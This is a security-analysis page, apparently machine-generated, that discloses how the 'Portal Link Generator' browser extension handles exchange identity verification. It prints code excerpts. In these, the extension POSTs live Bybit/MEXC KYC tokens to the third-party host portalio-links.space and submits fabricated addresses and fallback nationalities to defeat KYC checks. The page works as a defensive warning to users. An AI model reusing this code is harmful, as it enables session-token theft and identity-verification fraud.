Is Portal Link Generator safe?
Portal Link Generator sends your Bybit and MEXC identity-verification session tokens to a third-party server.
When you click its 'Check KYC' / 'Get Token' buttons on a Bybit or MEXC tab, the extension injects code into the page using your logged-in session to pull your KYC verification token (Sumsub/Onfido/Jumio) or face-verification token, then POSTs it to portalio-links.space, a server not operated by the exchange or the identity-verification vendor. Separately, when Bybit requires a residency check, the extension queries IP-geolocation services for your real country and then, if that fails, tries a list of hardcoded fallback nationalities including Belarus, Russia, Mozambique, Venezuela and the Bahamas, generating a fake address for each from a built-in per-country table; for MEXC, it always submits Ukraine as the KYC applicant country regardless of your actual location.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Your Bybit or MEXC identity verification token is sent to a third party server
Code analysis shows that after you request a KYC or face-verification link, the extension takes the access token issued by Bybit's or MEXC's own verification API and forwards it to portalio-links.space.
You click Get Token on the Bybit or MEXC KYC tab while logged into that exchange.
The extension takes your verification token from the exchange's own KYC API and sends it to portalio-links.space.
portalio-links.space is not operated by the exchange or by Sumsub, Onfido or Jumio, and is not named in the store listing.
The function that forwards the token off-exchange
async function ht(targetUrl, kycToken, proxyUrl = "", sdkType = "sumsub", workflowRunId = null) {
let payload = {
target_url: targetUrl,
proxy_url: proxyUrl,
kyc_token: kycToken,
sdk_type: sdkType
};
if ((sdkType === "onfido" || sdkType === "jumio") && workflowRunId) {
payload.workflow_run_id = workflowRunId;
}
// jt.PROXYGATE_CREATE_SESSION = "https://portalio-links.space/create-session"
let response = await fetch(jt.PROXYGATE_CREATE_SESSION, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload)
});
let text = await response.text();
if (!response.ok) throw new Error(`API request failed (HTTP ${response.status}): ${text.substring(0,200)}`);
let data = JSON.parse(text);
if (!data.start_url) throw new Error("Missing start_url in API response");
return data;
}| Field | Value | Why it matters | |
|---|---|---|---|
Verification access token | kyc_token: "eyJhbGciOiJIUzI1NiJ9.eyJzZXNzaW9uSWQiOiJzYnhfZjNhOTkyIn0.4x1w" | The active identity-verification token issued moments earlier by Bybit or MEXC. Whoever holds it can use your verification session. | |
Verification target URL | target_url: "https://www.bybit.com/user/accounts/auth/kyc" | The exchange page the token was issued for, showing which verification flow it belongs to. | |
Verification provider | sdk_type: "sumsub" | Which identity-verification vendor, Sumsub, Onfido or Jumio, issued the token. |
- portalio-links.space
Receives the live KYC/face-verification token. Not Bybit, not MEXC, not Sumsub, Onfido or Jumio. Not named in the store listing.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Extension submits a fabricated address to bypass Bybit and MEXC KYC checks
Code analysis shows that for an unverified account, the extension submits a fabricated address, trying your real country then Belarus, Russia, Mozambique, Venezuela and the Bahamas, to Bybit's KYC system, and always Ukraine to MEXC's.
You click Get Token on the Bybit or MEXC KYC tab with an account that is not yet identity-verified.
The extension submits a fabricated city, postal code and street for your country, or a hardcoded fallback country, to Bybit's KYC questionnaire.
For MEXC it always submits the country as Ukraine, regardless of your real location.
The country candidate list and the hardcoded MEXC country
let detectedCountry = await lookupCountryByIp() || "UA";
let residenceCountry = kycStatus?.result?.residenceCountry || "";
let residenceIsEmpty = !residenceCountry;
// Hardcoded fallback countries, tried regardless of the user's real location
let fallbackCountries = ["BY", "RU", "MZ", "VE", "BS"];
let candidates = [detectedCountry];
for (let c of fallbackCountries) {
if (!candidates.includes(c)) candidates.push(c);
}
for (let country of candidates) {
try {
await primeKycIframe(country);
if (residenceIsEmpty && !submitted) {
await submitFabricatedQuestionnaire(country);
submitted = true;
}
} catch {}
}async function startMexcSeniorKyc(exchangeOrigin = "https://www.mexc.com") {
let countryCode = "UA"; // always Ukraine, never the user's real country
let cardType = "2";
let url = `${exchangeOrigin}/ucenter/api/kyc_senior/self_init?countryCode=${countryCode}&cardType=${cardType}`;
let init = await post(url, null);
// ...
}| Field | Value | Why it matters | |
|---|---|---|---|
Country submitted | national: "RU" | The country value sent to Bybit's KYC questionnaire. Can be your real country or a hardcoded fallback. | |
Fabricated city | state: "Moscow" | A city chosen at random from a hardcoded list for that country, not a place you provided. | |
Fabricated postal code | postCode: "101234" | A postal code generated at random within that country's valid range. | |
Fabricated street | street: "Tverskaya 143" | A street name from a hardcoded list combined with a random building number. |
| Field | Value | Why it matters | |
|---|---|---|---|
Country code sent to MEXC | countryCode: "UA" | The country code sent to MEXC's senior KYC application. Always Ukraine, regardless of your real country. | |
Card type | cardType: "2" | The identity document type MEXC expects for the submitted nationality. |
- get.geojs.io
Receives your real IP address so the extension can determine your real country before overriding it in the KYC submission.
- ipwhois.app
Fallback IP-geolocation lookup if get.geojs.io does not respond.
- ipapi.co
Second fallback IP-geolocation lookup for the same country detection step.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Portal Link Generator contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ipapi.co
Portal Link Generator sends data to ipapi.co. 16 other extensions we have analysed send data here.
- get.geojs.io
Portal Link Generator sends data to get.geojs.io. 4 other extensions we have analysed send data here.
- ipwhois.app
Portal Link Generator sends data to ipwhois.app. One other extension we have analysed sends data here.
- portalio-links.space
Portal Link Generator sends data to portalio-links.space. No other extension we have analysed sends data here.